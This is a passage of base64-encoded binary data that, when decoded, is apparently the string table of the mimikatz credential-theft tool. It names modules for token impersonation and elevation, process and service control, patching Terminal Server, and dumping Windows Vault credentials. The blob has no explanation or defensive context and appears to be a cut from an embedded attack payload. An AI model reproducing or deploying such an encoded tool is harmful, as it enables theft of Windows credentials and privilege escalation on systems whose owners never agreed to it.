ZQByACAAJQAwADgAeAAAAAAAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAAAAAABBAHMAawAgAGQAZQBiAHUAZwAgAHAAcgBpAHYAaQBsAGUAZwBlAAAAZABlAGIAdQBnAAAAAAAAAFAAcgBpAHYAaQBsAGUAZwBlACAAbQBvAGQAdQBsAGUAAAAAAAAAAABwAHIAaQB2AGkAbABlAGcAZQAAAAAAAABQAHIAaQB2AGkAbABlAGcAZQAgACcAJQB1ACcAIABPAEsACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAAAAAAFIAZQBzAHUAbQBlACAAYQAgAHAAcgBvAGMAZQBzAHMAAAAAAAAAAAByAGUAcwB1AG0AZQAAAAAAUwB1AHMAcABlAG4AZAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAAAAAHMAdQBzAHAAZQBuAGQAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAAAAAAFMAdABhAHIAdAAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AGEAcgB0AAAAAAAAAEwAaQBzAHQAIABpAG0AcABvAHIAdABzAAAAAAAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAAAAAAAAZQB4AHAAbwByAHQAcwAAAFAAcgBvAGMAZQBzAHMAIABtAG8AZAB1AGwAZQAAAAAAVAByAHkAaQBuAGcAIAB0AG8AIABzAHQAYQByAHQAIAAiACUAcwAiACAAOgAgAAAATwBLACAAIQAgACgAUABJAEQAIAAlAHUAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHMAdABhAHIAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgB0AFQAZQByAG0AaQBuAGEAdABlAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABTAHUAcwBwAGUAbgBkAFAAcgBvAGMAZQBzAHMAAAAAAAAAAABOAHQAUgBlAHMAdQBtAGUAUAByAG8AYwBlAHMAcwAAACUAcwAgAG8AZgAgACUAdQAgAFAASQBEACAAOgAgAE8ASwAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAJQBzACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAcABpAGQAIAAoAC8AcABpAGQAOgAxADIAMwApACAAaQBzACAAbQBpAHMAcwBpAG4AZwAAAAAAAAAlAHUACQAlAHcAWgAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAAAAAAIwAlAHUAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAAAAAAFMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAAAAAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAAAAAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAcAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUgBlAHMAdQBtAGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHUAcwBwAGUAbgBkACAAcwBlAHIAdgBpAGMAZQAAAFMAdABvAHAAIABzAGUAcgB2AGkAYwBlAAAAAAAAAAAAUgBlAG0AbwB2AGUAIABzAGUAcgB2AGkAYwBlAAAAAABTAHQAYQByAHQAIABzAGUAcgB2AGkAYwBlAAAAAAAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAJQBzACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABJAG4AagBlAGMAdAAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAAcwBlAHIAdgBpAGMAZQAgAG4AYQBtAGUAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAUwB0AGEAcgB0AGkAbgBnAAAAAAAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAAAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAAAAAAAAUwB1AHMAcABlAG4AZABpAG4AZwAAAAAAUgBlAHMAdQBtAGkAbgBnAAAAAAAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAAAAAAAAcwBlAHIAdgBpAGMAZQBzAC4AZQB4AGUAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZQByAHIAbwByACAAJQB1AAoAAAAAAAAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBpAHQAaABvAHUAdAAgAFMAYwBTAGUAbgBkAEMAbwBuAHQAcgBvAGwACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABNAGEAcgBrACAAYQBiAG8AdQB0ACAAUAB0AEgAAAAAAG0AYQByAGsAcgB1AHMAcwAAAAAAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGMAZAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAAAAAAAAdgBlAHIAcwBpAG8AbgAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIABmAGkAbABlACAAbwB1AHQAcAB1AHQALwBiAGEAcwBlADYANAAgAG8AdQB0AHAAdQB0AAAAAAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAAAAAAAATABvAGcAIABtAGkAbQBpAGsAYQB0AHoAIABpAG4AcAB1AHQALwBvAHUAdABwAHUAdAAgAHQAbwAgAGYAaQBsAGUAAAAAAAAAAAAAAAAAAABTAGwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAAcwBsAGUAZQBwAAAAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAAAAAAAAYwBvAGYAZgBlAGUAAAAAAAAAAAAAAAAAQQBuAHMAdwBlAHIAIAB0AG8AIAB0AGgAZQAgAFUAbAB0AGkAbQBhAHQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAG8AZgAgAEwAaQBmAGUALAAgAHQAaABlACAAVQBuAGkAdgBlAHIAcwBlACwAIABhAG4AZAAgAEUAdgBlAHIAeQB0AGgAaQBuAGcAAAAAAAAAYQBuAHMAdwBlAHIAAAAAAEMAbABlAGEAcgAgAHMAYwByAGUAZQBuACAAKABkAG8AZQBzAG4AJwB0ACAAdwBvAHIAawAgAHcAaQB0AGgAIAByAGUAZABpAHIAZQBjAHQAaQBvAG4AcwAsACAAbABpAGsAZQAgAFAAcwBFAHgAZQBjACkAAAAAAGMAbABzAAAAUQB1AGkAdAAgAG0AaQBtAGkAawBhAHQAegAAAAAAAABlAHgAaQB0AAAAAAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAAAAAAAAUwB0AGEAbgBkAGEAcgBkACAAbQBvAGQAdQBsAGUAAABzAHQAYQBuAGQAYQByAGQAAAAAAAAAAABCAHkAZQAhAAoAAAAAAAAANAAyAC4ACgAAAAAAAAAAAAAAAAAAAAAACgAgACAAIAAgACgAIAAoAAoAIAAgACAAIAAgACkAIAApAAoAIAAgAC4AXwBfAF8AXwBfAF8ALgAKACAAIAB8ACAAIAAgACAAIAAgAHwAXQAKACAAIABcACAAIAAgACAAIAAgAC8ACgAgACAAIABgAC0ALQAtAC0AJwAKAAAAAABTAGwAZQBlAHAAIAA6ACAAJQB1ACAAbQBzAC4ALgAuACAAAAAAAAAARQBuAGQAIAAhAAoAAAAAAG0AaQBtAGkAawBhAHQAegAuAGwAbwBnAAAAAAAAAAAAVQBzAGkAbgBnACAAJwAlAHMAJwAgAGYAbwByACAAbABvAGcAZgBpAGwAZQAgADoAIAAlAHMACgAAAAAAAAAAAHQAcgB1AGUAAAAAAAAAAABmAGEAbABzAGUAAAAAAAAAaQBzAEIAYQBzAGUANgA0AEkAbgB0AGUAcgBjAGUAcAB0ACAAdwBhAHMAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAGkAcwAgAG4AbwB3ACAAOgAgACUAcwAKAAAAAAA2ADQAAAAAAAoAbQBpAG0AaQBrAGEAdAB6ACAAMgAuADAAIABhAGwAcABoAGEAIAAoAGEAcgBjAGgAIAB4ADYANAApAAoAVwBpAG4AZABvAHcAcwAgAE4AVAAgACUAdQAuACUAdQAgAGIAdQBpAGwAZAAgACUAdQAgACgAYQByAGMAaAAgAHgAJQBzACkACgBtAHMAdgBjACAAJQB1ACAAJQB1AAoAAABDAHUAcgA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAHQAYQBuAGQAYQByAGQAXwBjAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAGkAcgBlAGMAdABvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAATgBlAHcAOgAgACUAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABTAG8AcgByAHkAIAB5AG8AdQAgAGcAdQB5AHMAIABkAG8AbgAnAHQAIABnAGUAdAAgAGkAdAAuAAoAAAAAAAAAVQBuAGsAbgBvAHcAbgAAAEQAZQBsAGUAZwBhAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AAAAAAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAAAAAABSAGUAdgBlAHIAdAAgAHQAbwAgAHAAcgBvAGMAZQBzACAAdABvAGsAZQBuAAAAAAByAGUAdgBlAHIAdAAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABlACAAYQAgAHQAbwBrAGUAbgAAAGUAbABlAHYAYQB0AGUAAABMAGkAcwB0ACAAYQBsAGwAIAB0AG8AawBlAG4AcwAgAG8AZgAgAHQAaABlACAAcwB5AHMAdABlAG0AAAAAAAAARABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABpAGQAZQBuAHQAaQB0AHkAAAAAAAAAAAB3AGgAbwBhAG0AaQAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAAAAAAB0AG8AawBlAG4AAAAAAAAAIAAqACAAUAByAG8AYwBlAHMAcwAgAFQAbwBrAGUAbgAgADoAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwB3AGgAbwBhAG0AaQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAFQAaAByAGUAYQBkACAAVABvAGsAZQBuACAAIAA6ACAAAABuAG8AIAB0AG8AawBlAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAZABvAG0AYQBpAG4AYQBkAG0AaQBuAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AZwBlAHQAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAE4AbwAgAHUAcwBlAHIAbgBhAG0AZQAgAGEAdgBhAGkAbABhAGIAbABlACAAdwBoAGUAbgAgAFMAWQBTAFQARQBNAAoAAABUAG8AawBlAG4AIABJAGQAIAAgADoAIAAlAHUACgBVAHMAZQByACAAbgBhAG0AZQAgADoAIAAlAHMACgBTAEkARAAgAG4AYQBtAGUAIAAgADoAIAAAAAAAJQBzAFwAJQBzAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQAgADsAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AE4AYQBtAGUARABvAG0AYQBpAG4ARgByAG8AbQBTAEkARAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQByAF8AQwByAGUAYQB0AGUAVwBlAGwAbABLAG4AbwB3AG4AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHIAZQB2AGUAcgB0ACAAOwAgAFMAZQB0AFQAaAByAGUAYQBkAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAJQAtADEAMAB1AAkAAAAAACUAcwBcACUAcwAJACUAcwAAAAAAAAAAAAkAKAAlADAAMgB1AGcALAAlADAAMgB1AHAAKQAJACUAcwAAAAAAAAAgACgAJQBzACkAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB0AG8AawBlAG4AXwBsAGkAcwB0AF8AbwByAF8AZQBsAGUAdgBhAHQAZQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAACUAdQAJAAAAIAAtAD4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGUAZAAgACEACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AbABpAHMAdABfAG8AcgBfAGUAbABlAHYAYQB0AGUAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAHAAYQB0AGMAaAAgAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAcwBlAHIAdgBpAGMAZQAgAHQAbwAgAGEAbABsAG8AdwAgAG0AdQBsAHQAaQBwAGwAZQBzACAAdQBzAGUAcgBzAAAAAAAAAG0AdQBsAHQAaQByAGQAcAAAAAAAAAAAAFQAZQByAG0AaQBuAGEAbAAgAFMAZQByAHYAZQByACAAbQBvAGQAdQBsAGUAAAAAAHQAcwAAAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAZQBuAHQAZQByAHAAcgBpAHMAZQAAAAAAcwBlAHMAcwBpAG8AbgAAAG4AbwBuAGUAAAAAAAAAAABkAG8AbQBhAGkAbgBfAGUAeAB0AGUAbgBkAGUAZAAAAGcAZQBuAGUAcgBpAGMAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAABkAG8AbQBhAGkAbgBfAHYAaQBzAGkAYgBsAGUAXwBwAGEAcwBzAHcAbwByAGQAAABkAG8AbQBhAGkAbgBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAAZABvAG0AYQBpAG4AXwBwAGEAcwBzAHcAbwByAGQAAABnAGUAbgBlAHIAaQBjAAAATgBlAHgAdAAgAEcAZQBuAGUAcgBhAHQAaQBvAG4AIABDAHIAZQBkAGUAbgB0AGkAYQBsAAAAAABCAGkAbwBtAGUAdAByAGkAYwAAAAAAAABQAGkAYwB0AHUAcgBlACAAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAUABpAG4AIABMAG8AZwBvAG4AAAAAAAAARABvAG0AYQBpAG4AIABFAHgAdABlAG4AZABlAGQAAABEAG8AbQBhAGkAbgAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAARABvAG0AYQBpAG4AIABQAGEAcwBzAHcAbwByAGQAAABXAGkAbgBkAG8AdwBzACAAVgBhAHUAbAB0AC8AQwByAGUAZABlAG4AdABpAGEAbAAgAG0AbwBkAHUAbABlAAAAdgBhAHUAbAB0AGMAbABpAAAAAAAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtVHlwZXMAVmF1bHRFbnVtZXJhdGVWYXVsdHMAAAAAVmF1bHRPcGVuVmF1bHQAAFZhdWx0R2V0SW5mb3JtYXRpb24AAAAAAFZhdWx0RW51bWVyYXRlSXRlbXMAAAAAAFZhdWx0Q2xvc2VWYXVsdABWYXVsdEZyZWUAAAAAAAAAVmF1bHRHZXRJdGVtAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAAAAAAAAkASQB0AGUAbQBzACAAKAAlAHUAKQAKAAAAAAAAAAAACQAgACUAMgB1AC4ACQAlAHMACgAAAAAACQAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAAAAAAAJAAkAUgBlAHMAcwBvAHUAcgBjAGUAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkAQQB1AHQAaABlAG4AdABpAGMAYQB0AG8AcgAgACAAIAA6ACAAAAAAAAAAAAAJAAkAUAByAG8AcABlAHIAdAB5ACAAJQAyAHUAIAAgACAAIAAgADoAIAAAAAAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAAkACQBVAHMAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAcwBcACUAcwAAAAAAAAAAAAAAAAAAAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBcAEwAbwBnAG8AbgBVAEkAXABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAAAAAAAAAAAGIAZwBQAGEAdABoAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADEAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEkARAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0